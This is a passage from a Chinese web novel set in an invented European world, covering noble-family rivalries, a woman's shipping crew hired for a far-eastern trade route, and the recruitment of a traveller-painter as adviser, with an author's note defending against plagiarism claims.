这个圣曜节,布鲁森家族过得愁云惨淡,面对丰盛的晚餐,全家人的脸上都没有笑容。 冷漠可怕的婆母彻底成为了布鲁森产业的主人,今天又目睹爷爷的受挫,丽萨心里怎么会不难受。 他们夫妇因为利益而结合,如果亚当有半点不好,那么丽萨可以顺理成章地将脾气发在丈夫身上。可是这么多年以来,他偏偏是个温柔至极的好人。 事实上,除了不良于行,丽萨挑不出亚当的任何缺点。 良久,丽萨叹了口气,自言自语般呢喃:“如果你的腿能好起来,那该多好。” 亚当微怔。 丽萨意识到自己说错话,赶紧抬眸:“不,我不是那个意思,我只是……” “没关系,即便是这个意思,也没关系。”亚当抚摸着妻子的头,“和我在一起,你受了很多委屈。” 丽萨低头,轻笑:“不是的,我本来就贪图你的贵族身份,还仗着伯爵夫人的名头耀武扬威。我是个虚荣的女人,任何选择都有两面性,既然嫁给你,当然接受一切,你并不亏欠我什么。” “如果你没有残疾,恐怕以你在墨伦维克的受欢迎程度,堪比那位斯宾塞公爵了。”丽萨苦笑,“那么也轮不到我们布鲁森家和你母亲做交易。” “所以,我说希望你能好起来,是想着也许那样的话,你……”丽萨顿了顿,挣扎片刻还是选择坦诚,“你能代替你的母亲成为伯爵府真正的主人,我和爷爷的日子也能好过些。” 亚当垂眸。 “我又能继续仗着你的名头耀武扬威。”丽萨又笑了笑,故作轻松地转移话题,“好了,圣曜节过后又是社交季,我估计这次不会有人再邀请我们家了。” 她这么说着,但是还是吩咐女仆将邀请函送过来一一查看。 毕竟是大家族,还是有人邀请的,只是都是些无意义的场合,丽萨很快就忽略。直到拆开最后一封,她顿了顿:“嗯?莫尔太太的信件?” 床边看书的亚当微顿,不动声色地抬眼。 “呵,莫尔代表了怀特那边,平时又没有交集,肯定是想把我们拉过去看笑话!”丽萨语气愤愤,正要扔掉邀请函,一只手却拦住了她。 亚当推着轮椅出现在妻子身后,接过那张邀请函。 “怎么?有什么问题吗?” 亚当盯着“莫尔家族敬邀”几个花体字看了许久。 和母亲如出一辙的黝黑瞳孔里,倒映着深意。 “这场社交舞会,我们去吧。” 丽萨愣住—— 作者有话说:配角剧情铺垫哈,今晚少点,索菲娅下线倒计时。 9.10号23点。 抱歉今晚写声明到这个点,还没开始做饭。 长篇大论版直接挂wb和地瓜了,这里简要版(虽然也不简要)回应: 1.我没有融梗抄袭,也没有利用ai或其他的工具进行写作,在其他平台看到相关讨论,很害怕不回应会造成麻烦。 2.我从没有对任何读者进行过恶意攻击,从2022年第一本文到现在,我都可以这么说,哪怕对面骂我。 第一章鉴抄评论【现已删除】是我唯一硬气骂回去过的,也就是说,除了【非付费且涉及鉴抄鉴融梗】的人以外,我不会对其他读者口出恶言,尤其是正版读者,哪怕你们认为我有这方面争议,我也绝对会认真解释清楚,我不希望我最珍视的人对我有误解。 3.我的回应也许用力过猛,看起来小题大做, 有时候太认真反而会让人觉得斤斤计较。讨厌我的人也不会因此喜欢我,甚至会找到更多的角度攻击。 这些我都明白,可我还是选择把这些事情说清楚。 因为我用文中的那个方法,代入我的主角去思考。如果是她们会怎么做呢? 我想,如果我做不到成熟淡定稳重、可以对一切争议视而不见。那么我就不应该装作云淡风轻,不如坦荡承认自己的敏感、小心翼翼、以及对原则的在乎。 裸辞后一意孤行开了这本压箱底的梗,本来已经打算坐冷板凳,但是意外收获很多人的喜欢。 不夸张的说,我的前路都被你们照亮了。 正版读者是我的衣食父母,你们在我这里拥有至高无上的地位,这绝对不是假话。 我后来回复的评论越来越少,并不是不尊重,而是有些害怕,怕自己哪句话没说对就引起不必要的麻烦。 总之,对于你们提出的任何意见或批评我都尊重并认真对待。 也就是说—— 【正版读者】可以骑在我头上拉屎(不是),骂剧情骂文笔都没关系,事关鉴抄这类,我也会认真解释,这是我的责任,别有心理负担。我除了啰嗦其他的都很好的,状态也还不错,可以承受的。 【非正版或非付费读者】在前面骂剧情骂一切我也无所谓,反正也管不过来,躺平。但虚假臆测引导其他人我会礼貌回应。 但是,【非正版又还涉及鉴抄这类】我就失去礼貌直接飞踢(啊哒!)虽然还是删了……唉,我真的会有负担,思来想去我还是决定成为保护自己的盾牌,而非做那个不擅长攻击的矛。 呼,写完了,舒服多了,请大家放心,该说的全都在这里了。以后不会再有任何长篇大论,码字去啦! 祝大家愉快! 80-90 第81章 章节锁定 第82章 清晨,雾蒙蒙的码头,潮湿的海风裹着鱼腥味扑面而来。 搬运工的号子、运输队的木船靠岸的撞击声响成一片。 码头上,一堆未卸的香料袋旁,杰西卡带领着手下扯紧货绳,远处突然有男人吹口哨:“嘿,南方小妞,有人找!” 杰西卡直起身,狠狠瞪着那个男人:“再让我听见你那该死的口哨声,我会割了你的生、殖、器喂鱼!” “噢,鱼可不吃那恶心玩意儿。”女水手们哄笑起来,目光肆无忌惮地打量着那个吹口哨的男人, “瞧瞧,那肌肉还没我的扎实,快把衣服穿起来吧伙计。” 杰西卡身边的手下大多是中年妇女,她们的脸被海风吹出皱纹, 身板经过长年的锻炼变得结实强壮,如果不是这样, 这支女子运输队也无法在码头立足,跟一群男人抢饭吃。 那个传信的瘦男人被嘲笑得面色涨红, 在女人们的目光里结巴道:“你你你快去吧!老大说了,那可是个大主顾。” “真不知道怎么偏偏点名要一个女人,呵。”他小声嘟囔。 杰西卡冷哼一声,路过他时狠狠踩了一脚, 这才扬长而去。 船运公司贵宾室。 船老大守在门边等着杰西卡,一看见她过来,就压低声音嘱咐:“杰西卡,收起你那个臭脾气!里面这位可是个贵族夫人,她点名要你,你别不知好歹,听见了吗?!” 杰西卡翻了个白眼,还是点了点头:“知道了。” 她们的女子运输队挂靠在德比船运公司,没有私活的时候还能通过公司渠道接单,为了手底下那帮人的生计,杰西卡不想得罪这个小肚鸡肠的家伙。 老板放心离开,杰西卡敲了敲房门,不等里面回应就走了进去。 只见一个衣着华贵,戴着精致蕾丝礼帽的女人抬起头,对她微笑:“你就是杰西卡?” 索菲娅打量着眼前的年轻女孩——金色短发、瘦高个儿、面孔黝黑,但是眼睛里藏着傲气。 杰西卡双手抱臂,丝毫没有按照老板叮嘱的那样卑躬屈膝,反而直白地审视着眼前的女人:“找我什么事?” 索菲娅并不为她的无礼而恼怒,反倒生出几分兴趣:“我听说你组建了一支女子运输队,想与你合作。” 杰西卡不废话,语速飞快报价:“短途运杂货,从本港运香料到里斯小镇范围内的距离,只按吨算钱,短途每吨二十锡兰币,要是赶时间加十锡兰币,遇到雨天再补五个,赚的都是辛苦钱,恕不还价。” 女子运输队虽然在码头立足,但很少能分到大蛋糕。 除了自己的私活以外,德比能分给她们的都是小打小闹的买卖,主顾大多是有钱人家的太太小姐,要运送私人物品给亲友或者做点小生意,所以杰西卡以为索菲娅也是这个目的。 索菲娅笑了笑,没有说话,她从手包里拿出一张支票,写了个数字递过去。 杰西卡接过看了两眼,随手一扔:“抱歉,我们是个小运输队,不是海盗,你这个价位是要我们杀人抢劫吗?” 索菲娅听出她话语里的火药味,微笑道:“我是想请你跑一趟长途。” 杰西卡不为所动:“多远?” 索菲娅:“东印。” 室内突然陷入短暂的沉默。 杰西卡冷笑:“再次提醒你,我们只是一支小运输队,没有轮船,没有货,只有一群奔波在风浪里的女人。” 索菲娅慢条斯理道,“船和货,都由我来准备,我只要一群去过远东的女人。” 杰西卡翻了个白眼:“抱歉,那其中不包括我,我虽然是她们的头领,但带领她们去过东印的是上一任运输队队长。一定是德比故意润色我的履历,好让你们这些人傻钱多的贵族夫人上当。” 索菲娅挑眉:“你很坦诚。” 杰西卡不想多说:“所以你选择其他人吧。” “不。”索菲娅又将支票递了回去,“在前一刻我也许更需要去过远东的经验,但是现在,我更欣赏你的坦诚。但你似乎对我有格外的抗拒,我能知道原因吗?” 杰西卡睨着索菲娅柔和的笑脸,眼睛里划过讥讽:“我只是讨厌贵族虚伪的嘴脸,贫穷是我们的天敌,可在你们眼里却变成了拿捏我们的武器。” “你轻轻松松拿出来的一张支票,就能买下我们整船人的命,为你赚取更多的支票。”杰西卡面无表情,眸光里夹杂着恨意,“而你们还摆出一副善良的嘴脸,真够恶心。” 索菲娅挑眉:“你是说,我不应该态度友善,最好像报纸上的资本家那样恶狠狠地对你才好吗?” 杰西卡哽住,愤愤撇开头。 “我出钱,你出服务,一桩公平的交易,却因为我比你有钱,所以我无论摆出什么态度,在你眼里都是令人生厌的对吗?”索菲娅也不装了,她轻笑两声,忽然捡起那张支票,“贫穷带来的自卑让你太过敏感,别人的一个眼神就足够让你三天睡不着。对你好也是坏,对你坏也是坏,就算始终保持公平,也能被你讨厌。” 杰西卡:“你们这种生来就有钱的人懂什么?凭什么高高在上指责我?” “你怎么知道我没有穷过?”索菲娅抬眸,嗤笑,“只是我没有让贫穷打倒,因为我坚信,凭我的能力,绝不会一辈子过着这样的日子。” 杰西卡微怔,垂下头死死咬住嘴唇。 索菲娅举起支票:“我不怕你没有经验,我看中的就是你身上不甘心贫穷的欲望与恨意。这股劲儿支撑着你成为女子运输队的头领,闯过大风大浪,所以你凭什么觉得自己会一辈子穷下去,一辈子恨着比你更有钱的人?” “你不必抗拒承认自己对金钱的渴求,越想要它,那就越要坦诚。”索菲娅将支票递过去,“这样它才会听见你的召唤。” 杰西卡盯着那串数字——这是她接过最大的单子,能够让她的水手们衣食无忧一整年…… “这只是定金。”索菲娅淡定放出重磅炸弹。 杰西卡皱眉:“这笔巨款还只是定金?你到底要做什么?” “我要开拓远东航线,组建一支新的海运队伍。”索菲娅说,“这笔定金,是给你的试炼。我会让人带你熟悉全套流程,如果有好结果,那么你和你的女子运输队,会成为布伦瑞克海运的总舵手。” 杰西卡若有所思,她听明白了。 以往女子运输队只是承担水手的工作,其余的都不属于自己。而现在,索菲娅要打通远洋贸易,也就意味着她们会成为专业的航海家,不仅有运输部门,还要接触商务谈判、各地市场行情甚至是当地语言风俗习惯。 索菲娅现在要她做一次中长途试运行,也就是要试探她能不能熟悉全套流程,简单来说——能不能让投资有所回报。 如果赚不到钱,那么说再多也无用。 短时间做到这一切,当然很有难度,可是如果攻克难关,摆在杰西卡面前的就是前所未有的机遇——她将成为一名女船长!还是稀有的东印航线! 索菲娅微笑,再次问:“现在,给出你的答案,是继续回到码头出卖你廉价的劳动,还是跟我合作?” 沉默许久,杰西卡深吸一口气,终于还是接过支票:“我同意合作。” 索菲娅满意一笑,优雅起身:“期待你的首次运行,希望能给我满意的回报,杰西卡船长。” 杰西卡目送索菲娅离去,直到老板德比跑进去急切追问,她才回过神来。 “谈得怎么样?她想要你做什么?” 杰西卡眸光微动,扬起下巴头也不回地走了,“没谈拢,我把她气跑了。” 留下德比气得摔茶杯,“这个坏事的蠢丫头!”- 回到码头,副手奥伯伦小姐——那位带领着女水手们嘲笑瘦高男的妇女朝杰西卡挥手:“嘿,你脸色不太好?发生什么事情了?” 另一个女水手调侃:“是啊,上次看到你这副表情,还是你刚来肯特郡的时候。噢,一头金色长发的小丫头,信誓旦旦地跟我们说要当水手,赚大钱,不再受人欺负。” 奥伯伦挑眉:“现在小丫头不仅成为我们的一员,还接替了老队长的职责,命运多么奇妙啊。” 众人友善地哄笑。 “别再翻出我的糗事,拜托。”杰西卡翻了白眼。 奥伯伦收起笑容,和蔼道:“怎么了?是跟伯克利公司的合作出现意外?那位赫斯兰小姐看起来不像是不守承诺的人。” 小半年前,杰西卡带领着运输队跑了趟赫斯兰,在那里和伯克利公司合作了一次,从此她们也成为了伯克利的固定船队,双方合作愉快。 最近,伯克利公司的那位负责人听说来了锡兰,前两天还找杰西卡密谈,这件事奥伯伦她们都知道。 不过水手们全心信任杰西卡这位带给她们新希望的队长,所以从不过问她的决定,也就并不了解那天密谈的细节。 “没什么,我就是累了。”杰西卡摆摆手,不愿多说。 夕阳西下,远处海浪拍打沙滩。 一天的工作结束,杰西卡带着满身疲惫回到住所。 刚推开门,就看见熟悉的红短发身影已经等在里面。 卡洛琳开门见山:“索菲娅找你说什么?” 杰西卡洗了把脸,甩干水珠,“和你猜得一样,找我合作。” 卡洛琳:“你答应了?” 杰西卡皱眉,冷笑:“我不是按照你的计划行事吗?如果不信任我,那就结束合作吧,这位索菲娅夫人出手大方,跟着她我们也吃穿不愁。” “这正是我所担心的,你太容易被金钱打动,这虽然是人之常情,但是……”卡洛琳挑眉,淡淡道,“你的这位雇主,和我背后的雇主可不是一路人。她给的蜜糖包裹着剧毒,舔了一口,就得把命搭进去。” 杰西卡不以为意,随意擦了擦头发就将毛巾甩开,还故意将水珠溅到卡洛琳的脸上,“知道我爱钱,那你怎么不把你的雇主介绍给我?” “还不是时候。”卡洛琳递出一张支票,擦干脸上的水珠。 女子运输队刚跑了一趟赫斯兰回来,她们错过了伯克利和怀特公司合作的消息,当然,即便她们当时在场,也像大多数底层人一样,只关注自己每天要运多少货,而不会花几毛钱买下一份全是字的报纸,尤其是她们中的大多数并不识字。 杰西卡倒是会关注新闻,可自从离开洛森郡后,她看见诺曼这个单词就感到厌烦,刚来的那段时间,报纸上铺天盖地都是温斯顿庄园和墨伦维克的婚礼。 那位怀特先生——肯特郡的龙头商人,就是伊莎贝尔的丈夫。 一想到这些,杰西卡就不想看到满报纸的怀特,随着工作越来越忙碌,这个名字也逐渐消失在记忆里。 可是现在,杰西卡一想到那位索菲娅夫人的身份,就联想起斯宾塞公爵夫人,继而再想起曾经的雇主家里那位唯一算得上善良的奥黛丽小姐。 单纯的小绵羊进入公爵府,对手还是索菲娅这样的家伙……不过她对享用过半辈子富贵的人都没什么好感,尽管有些同情,但也很快消散。 看着卡洛琳神秘兮兮的样子,杰西卡忍不住嘲讽:“舍不得告诉别人自己的财路是很正常的事情,何必找借口。要是你那位雇主是来自洛森郡的某位太太,我还不稀罕赚那份钱。” 卡洛琳心念一动,挑眉:“你对洛森郡怀有敌意?” 目前谁也不知道三家公司要联手开辟新航路,公爵夫人更是在其中隐身。可是杰西卡这话倒是让卡洛琳起了心眼。 “没什么。”杰西卡起身,不耐烦赶人:“你快走吧,我要休息了。答应你的事情会做到。” “如果不是那次海上风浪,你拼死守着你的船员,我是不会跟你这家伙合作的。”卡洛琳被推搡出门,盯着杰西卡没好气。 不过计划好歹是初步落定了,卡洛琳脚步轻快地赶回温斯顿庄园,给伊莎贝尔报信。 第83章 章节锁定 第84章 “杰西卡?” 奥黛丽下意识重复, 和身旁的露西与艾米丽交换眼神。 如果没记错,诺曼庄园曾经有一个女仆就叫杰西卡。 伊莎贝尔垂眸,像是没有注意她们的脸色, 轻笑道:“这个名字倒是常见,兴许在哪儿听到过。” 卡洛琳耸耸肩, “那是我多心了。杰西卡是女子运输队的队长, 听说也来自南方。噢, 那是个很贪财、非常难说话,但很讲义气的姑娘。她一直想见一见我背后的雇主,不过我觉得应该先征求你的意见。” “谢谢你的周到, 卡洛琳。” 伊莎贝尔端起咖啡杯抿了口, “等合适的时机, 我会去见她, 但不是现在。” 卡洛琳点点头,没再追问。 “是的,别再浪费时间了,我们应该先去找到那个流浪画家、游记作者、虔诚的传教士、荒诞艺术家以及未来华夏海运的顾问先生。”海因里希对刚才无聊的谈话毫无兴趣,面无表情地嘲讽着素未谋面的西西弗里斯。 一旁的奥黛丽却无意识攥紧袖子,水蓝色的眼睛藏着不安。 赫尔曼不动声色地扫了眼妻子, 又看向表情正常的伊莎贝尔,深灰色的眼睛里滑过沉思。 但眼下并不是探究的好时机,如海因里希所言,先找到西西弗里斯,开启华夏新航线才是重中之重。 - 几天后,数辆马车碾过哈登菲尔德满是煤渣的街道。 根据蒂洛夫提供的地址,查尔斯打探到西西弗里斯圣曜节后就没有离开,一直在工厂附近。 锁定了目标,伊莎贝尔携全家出现,准备以最高的规格迎接这位东方归来的艺术家。 不远处,查尔斯看见了马车,快步跑来,神色带着几分无奈:“噢,先生们、女士们。西西弗里斯先生真是个倔强的石头,我拿出丰厚的报酬,想请他来庄园做客,他连一个眼神都不给我!” 赫尔曼和奥黛丽对视一眼,海因里希皱眉:“你不会搬出我的身份吗?” 查尔斯摊手:“他说不怕得罪贵族,要抓就抓。” 海因里希冷笑:“还真是个臭脾气,我倒有点欣赏他了。” 伊莎贝尔推开车门,风里裹着污水河的腥气。她看向查尔斯:“你带我过去,我亲自请他。” 查尔斯无奈回头,指着工厂河边道:“就在那。” 众人循着方向看去。 河边,只见一个头发半白的中年男人背对着他们坐在木箱上,外套满是破洞,颜料渍粘在袖口。 他面前支着画架,画布上是浑浊的河水滚滚流逝,围绕着红砖厂房。而远处烟囱吐着灰烟,把天空染成肮脏的铅色。 这正是哈登菲尔德大多数时候的模样,也是工业发展留下的疮疤。 “西西弗里斯先生。” 伊莎贝尔走上前,开门见山,“我们想请您担任华夏新航线的顾问。” 西西弗里斯握着画笔的手没停,笔尖在画布上添了道阴影,语气平淡得像在说天气:“回去吧女士,自从《东方游记》出版,来请我当顾问的人数不胜数,你们是想利用我,把东方当成攫取金银的猎场。” “实际上,我该说的都在那本书里,那是我所知道的全部。” 伊莎贝尔垂眸,等他说完才道:“你误会了,我们是要开启通商航道,但并不全为了金钱。” “是的,十个商人有九个都说不是为了金钱,而是为了改变世界。”西西弗里斯终于转过身,眼底满是讥讽,“你知道我为什么没再当传教士了吗?因为我发现圣曜教会和你们一样,都是满嘴谎言的家伙。” 颜料染脏的手指点了点画布,又指着散发恶臭的污水河与天空的灰雾。 “睁大眼睛看看,锡兰已经被你们变成这副鬼样子。河水臭得能毒死鱼,孩子出生就带着哮喘。”西西弗里斯冷笑,“东方是我见过最干净的地方,有青瓦白墙,有清澈的河,有新鲜的空气。我不想你们把肮脏带进去,把那里也变成污水池。” 伊莎贝尔还想再说,他却已经收拾起画架,帆布卷得仓促,颜料蹭在破外套上。 “走吧,我不想对女士粗鲁,别耽误我画画!” 就要起身时,他身后传来另一道声音。 “罗宾·索恩?” 西西弗里斯的动作猛地顿住。 他握着画架的手收紧,缓缓转过身来。 阳光落在西西弗里斯灰白的头发上,照亮他浑浊的眼睛。 看清赫尔曼那头标志性的银色长发,某段久远的记忆扑面而来。 “赫利?” 西西弗里斯挑眉,再次重复,“你是赫利?” 记忆里那个捧着半截铅笔求他教画画的小孩,竟长成西装革履、眼神冷硬的模样。 奥黛丽好奇地打量着对视的二人,小声问:“你认识他?赫利。” 赫尔曼知道妻子故意喊他的小名,轻声嗤笑。又看向西西弗里斯——当年那位途径埃尔美,教他画出夕阳的老师。 “是我,罗宾,好久不见。” 确认是当年那个孩子,西西弗里斯的声音有些沙哑,带着不敢置信,“噢,我以为像你这样幼小的孩子难以走出贫民窟,要么饿死在煤窖里,要么被抓去当童工累死。不过你从小就展现出非凡的勇气,至少是第一个主动请求我教你画画的。” 赫尔曼挑眉:“我也以为你早葬在哪个无名荒岛,成了海怪的点心。毕竟你总说要去追求自由。” 一老一少熟练地互相攻击,似乎找回了当年的记忆。 西西弗里斯卸下防备,声音逐渐柔和:“不管怎么说,很高兴你现在有了成就。” “不过……”他顿了顿,扫视着伊莎贝尔以及海因里希等等一群人,“如果你也是来说服我当顾问,那抱歉,答案和对他们一样,不行。” 赫尔曼淡淡道: “你别急着否定,至少先听听我们的诚意。” 西西弗里斯……不,现在应该说罗宾·索恩,他盯着赫尔曼的眼睛,最终还是没有拒绝。 - 一行人被领到罗宾的小屋。 简陋的房间容纳不下所有人,只有一家四口跟着走了进去。 木窗糊着旧纸,风一吹就簌簌响,处处透露着贫穷。墙上随处可见的画报与桌上的书籍,却展现了画家先生精神的富足。 “看在赫利的份上,说吧,给你们三分钟的时间。”罗宾一边整理着画册,一边随口招呼。 伊莎贝尔不动声色地打量片刻,没有多余的寒暄,径直道:“罗宾先生,你在游记里写过,东方大陆的匠人也在进行着技术变革,在你离开的这段时间里,他们也许正在遭遇和锡兰一样的时代阵痛。” 罗宾的手指微顿,面无表情:“你想说什么?” 伊莎贝尔笑道:“我们想去东方,不只是为了贸易,更想把最新的技术研究带过去。” 奥黛丽适时上前,从包里拿出一叠图纸与笔记,眼睛亮亮的,“先生请看!我设计了改良纺织机,还有诺曼公司的同事们也有其他的发明,这些已经投入怀特工厂的生产线,事实证明,它们的确能提高效率,减少污染。” 图纸上密密麻麻标着数据,罗宾拿起图纸,狐疑道:“报纸上说的改良机器,真是你发明的?” “当然是我。”奥黛丽骄傲地挺起胸膛,眼里闪着光,“事实上,我还想知道东方的机器是怎么造的。说不定他们有更巧妙的设计,我们互相学习,既能帮东方少走弯路,也能让锡兰的技术更完善,这不比只赚金银有意义?” 赫尔曼看着妻子自信的神情,眸光带笑。 “这是我的妻子,罗宾。” 罗宾挑眉,眼底的审视少了几分,看向奥黛丽的眼神透着长辈的慈爱,“非凡的天赋。” 他又看向伊莎贝尔:“不过,这仍然打动不了我,据我所知,东方的科技发展大概不比我们差。人类总是贪心,谁知道你们看见那里的富饶,会不会滋生掠夺的野心。即便你们没有,却难以保证其他人的想法。” 伊莎贝尔微笑:“别着急拒绝。” 她看向身后,劳伦小姐适时走进来,手里捧着笔记本,向罗宾展示上面的东方文字。 “罗宾先生,在启程之前,我们的团队充分学习了华夏的语言和文化,还根据你翻译的书籍,了他们的历史。”伊莎贝尔缓缓道,“我理解你的警惕,因为那源自你对东方的欣赏与爱护。” “事实上,我对东方的情感,和你相似。”伊莎贝尔轻笑,“我是这条航线的主要引领者,我对神秘的东方充满向往。如果一个领导者懂得尊重另一个民族文化,那么你应该能够相信,我们整个团队都会对它报以善意。” 罗宾看着眼前的三人,手指无意识攥紧。 他沉默许久,心里却知道,伊莎贝尔说的是实话。 一个愿意花心思去了解历史文化的人,内心一定是带着欣赏的感情。 伊莎贝尔看出他眼底的情绪,她垂眸,放弃所有谈判的手段,坦诚道:“罗宾先生,实际上,我还有私心。” 罗宾抬头:“什么?” “等到合适的时机,航线成熟,我很想亲自去华夏看一看。”伊莎贝尔微笑,“最好是带着我的家人朋友一起,去看看你笔下辽阔的疆域。南方水乡、草原大漠、或者是你翻译的华夏诗歌里所说的,有名的高塔古楼、山川江河。” 伊莎贝尔看向罗宾书桌上的《东方游记》,最后笑道:“也许还有你也没来得及观赏的美景,有生之年,真的不想再去一次吗?” 罗宾愣住,仓促地移开视线,可眼底的犹豫渐渐被向往取代。 的确,他的心事被伊莎贝尔说中。 说老实话,他真的很想再去一次东方。 当年,罗宾是恰好流落在东印的岛屿,而后结识了在那里做买卖的东方商人。罗宾孤身一人,即便金发碧眼是个异类,也无法造成什么威胁。 于是东方商人朋友爽快地答应带罗宾去华夏,在那里,罗宾学习了华夏的语言和历史,见识到了富饶的大国之景。即便回国许久,仍然念念不忘,还写出了这本《东方游记》。 可惜锡兰与华夏始终没有通航,这么多年里,罗宾只能时不时前往东印,和那位商人朋友保持联系,只是现在通讯不便,他与华夏的联系,也许说不准就在哪天断开了。 罗宾沉默许久,终于还是叹了口气:“好吧,你赢了,你真是个擅长揣摩人心的姑娘。但是话说在前,我只当顾问,不参与你们的贸易。” 伊莎贝尔:“可以。” “真是搞不懂,我看你们对东方的了解已经足够了,为什么还要请我出面?”罗宾嘟嘟囔囔,又看向赫尔曼,“小子,快说说,你们是想利用我干什么?” 赫尔曼淡淡道:“我们即将开启的是一条划时代的航线,只有你这位亲自踏入过华夏领土的人,能够增强所有人的信心。” 伊莎贝尔微笑:“相信我们,罗宾先生,你会见证历史,兴许还会成为未来教科书上的传奇人物。” 奥黛丽也跟着高兴道:“还有什么比一边实现梦想,一边创造奇迹更令人激动的事情呢?您一定不会后悔的。” 海因里希嗤笑:“放心吧,老头,斯宾塞家族的旭日狮子旗为华夏之行保驾护航。” 再桀骜的艺术家,也会被一连串的说辞砸昏头。 罗宾扒拉着灰白的头发,看向哈登菲尔德灰黑的天,叹息道:“噢,你们这些家伙,已经哄得我开始期待了。” 第85章 半个月后, 报纸上铺天盖地都是斯宾塞公爵府和怀特家族联手开辟华夏新航路的消息,他们还请到了西西弗里斯作为顾问,每天刊登招商广告。 以莫尔先生为首的商人们本就因为技术革新的事情对怀特家信心倍增,现在听说有这种投资机会,更是首批表态愿意鼎力支持的。 当然,还有部分人持观望态度。 目前,因为这则消息,从锡兰到赫斯兰甚至是埃尔美的海贸市场物价飙升,所有人都捏着货物或者资金等待合适的时机入场。 这可是通往华夏的第一条航线,只要不傻,都明白其中蕴藏着多么丰厚的利润。真要是搭上这艘船,不夸张地说,可以保证半辈子的富贵。 同时, 所有人也清楚,任何“第一次”都充满不可预估的意外, 那拼上全部身家登船的人,也会血本无归。 而怀特家族不断放出的消息,就是在增强观望者的信心,吸纳中小投资人,毕竟这么大的货轮,这么巨额的贸易不是一个家族能吃下的。 为此, 公爵夫妇与怀特夫妇还召开专门的宴会,诚邀各界人士参与, 并且会在期间详细解释各个环节的准备工作。 索菲娅看到这则宴会广告时,在书房里坐了许久,直到布鲁森敲门,才将她的思绪唤回。 “杰西卡回来了,她在赫斯兰的首次航贸非常成功!”布鲁森难得露出笑脸,抖擞着精神走进门。 说着,杰西卡跟着走了进来,“索菲娅夫人,所有清单都已经和布鲁森先生交接完毕,请检验。” 短途航运结束,杰西卡皮肤黑了许多,但眼神比之前更加明亮。她交出了一份足够让索菲娅满意的答卷。 “这真是一个好消息。”索菲娅微笑,接过详细报告,一边听着杰西卡这段时间的所见所闻。 不难判断,杰西卡是个很聪明的姑娘,她真的在很短的时间里摸透了这桩小型贸易的框架,并且举一反三,做出了以后扩展贸易的规划。 也就是说,她具备了承担远东航贸总舵手的理论基础。 “噢,我要为之前对女士的轻视说声抱歉,你很棒,杰西卡小姐,仅仅一趟短途贸易赚取的利润就足够我们缴纳一半的赎罪金。”布鲁森高兴得胡子都翘了起来,“格兰芬主教看到了我们的效率,也不会催得那么紧,至少我们不必再为承受教会的怒火而忐忑,工厂也能开工了!” 这的确是个好消息,杰西卡的试运行成功,就意味好的开端,就像是对教会发送一个信号——看,我们还有潜力无限的赚钱路子,别着急。 索菲娅眸光滑过赞许,大方地签下奖金单子交给杰西卡。杰西卡并没有着急离开,而是盯着索菲娅道:“所以,我通过您的考验了吗?接下来的东印之行,安排在什么时候?” 索菲娅没有说话,沉默片刻才笑道:“回去等我消息,这是大事,还需要商议。” 杰西卡没有追问,径直离开。 布鲁森踌躇片刻,还是忍不住问:“噢,这是怎么了?说实话,以前是我没有远见,现在杰西卡已经证明这条航路可以赚钱,你怎么还犹豫了?” 索菲娅看向手里的报纸,上面硕大的标题写着“温斯顿庄园宴会即将举办,期间将披露华夏航线的细节”。 如果说半个月前,杰西卡带来的好消息会让索菲娅对东印之行有所期待,那么此刻……她的好奇心延伸到了另一个地方。 - 夜幕降临,温斯顿庄园灯火通明,又一次盛大的宴会召开,这次的声势比之前还要浩大。 受邀参与的不仅是商人,还有政界外交官员以及斯宾塞家族的旁支成员。 伊莎贝尔再度华丽亮相,和海因里希以及赫尔曼奥黛丽一起为联合运营的华夏航运拉开序幕。 简单来说,这是一次隆重的招商会。 通过展示贵族身份带来的政策优势、怀特家族庞大的财力支撑、以及奥黛丽所代表的先进技术,向所有人表明这个计划的可行性。 宴会上,赫尔曼向大家介绍了西西弗里斯,也就是罗宾·索恩,让他亲自对东方做了一番介绍,包括他了解的东方商贸情况与风土人情等等。 还展示了小型试运营的成果,船运团队前往赫斯兰的外商基地,详细记录每一个环节的流程。 任何庞大的贸易都不是空中楼阁,必须由细小的环节搭建而成。小到货轮能容纳多少货物、供货商要以什么形式竞争供货权、贸易双方要怎么交易才能保证资金安全、保险什么情况下可以生效、外商遇到沟通难题怎么办等等。 这些问题多且繁琐,甚至很多都无法预料。但是赫尔曼出示的文件里,对大部分能够预判的问题都做出了解答。 所有人见到了西西弗里斯,又亲耳听见流程介绍,于是不再质疑华夏之行的真实性,转而开始为此兴奋。 当年仅仅是埃尔美到锡兰的这条航线,就为两地提供了许多就业岗位,市场繁荣带来的一定是经济振兴,受益的不仅是能够挤上那艘船的人。所有与之相关的领域,造船业、保险业、制造业等等都会注入活力。 各界乃至墨伦维克的锡兰上层对此都是支持的态度,他们以前不是没有努力过,最后只争取到少量的官方航船与华夏往来,如果说民间力量能够让事情有所改变,某种意义上说,这会让整个锡兰受益。 介绍完正事,舞曲奏响,所有宾客进入放松时间。 索菲娅没有起身,她盯着光鲜亮丽的公爵夫人从台上下来,而后朝自己走来。 伊莎贝尔端着香槟靠近,微笑举杯:“索菲娅姑妈,很高兴又见到你。看来还清赎罪金,终于能让你有心情参加宴会了。” “恭喜你,即将获得非凡的成就。”索菲娅勾唇,喝了一口酒,又笑道,“只是我不太明白,你为什么要让亚当将你的计划告诉我呢?” 伊莎贝尔挑眉,扫视一圈:“通航华夏难道是能够保密的事情吗?就像刚才所说的,这块蛋糕太大,我们一口吃不下,如果姑妈有投资的意愿,当然欢迎咯。” 索菲娅没说话,盯着那双冰蓝色的眼睛,似乎在揣摩她的用意。 良久,轻笑道:“谢谢你的好意,奥黛丽,不过我对充满风险的投资,毫无兴趣。告辞。” 说罢,索菲娅转身离开,走之前,目光不着痕迹扫过远处的人群——那里站着诸多宾客,在他们之间,正是那位西西弗里斯先生。 - 回到布鲁森庄园,索菲娅沉思许久。 她生性多疑,连亲儿子的话也不会全部相信。 亚当那天提出两种假设,一种是怀特家族虚张声势,想要用华夏引开她的注意力,实际上目标在东印航线。第二种,怀特家族的确想要与华夏通航,正在筹备阶段,怕她横插一脚,所以故布迷阵。 的确,这一招成功了,索菲娅出于种种不信任,观望了许久,始终没有下场。 再回过头看,亚当说的话是对的。无论出于哪种情况,出于利益最大化的考量,布鲁森家族最好的破局之法也是加入华夏航线,搅乱对方的计划。 可现在晚了一步,温斯顿庄园已经昭告天下,华夏航线开启前的准备工作都已经差不多了。 是的,这一切都是伊莎贝尔的阳谋。她根本没用任何复杂的手段,或许从某种程度上来说,正是这么简单的一招,才会令索菲娅殚精竭虑。 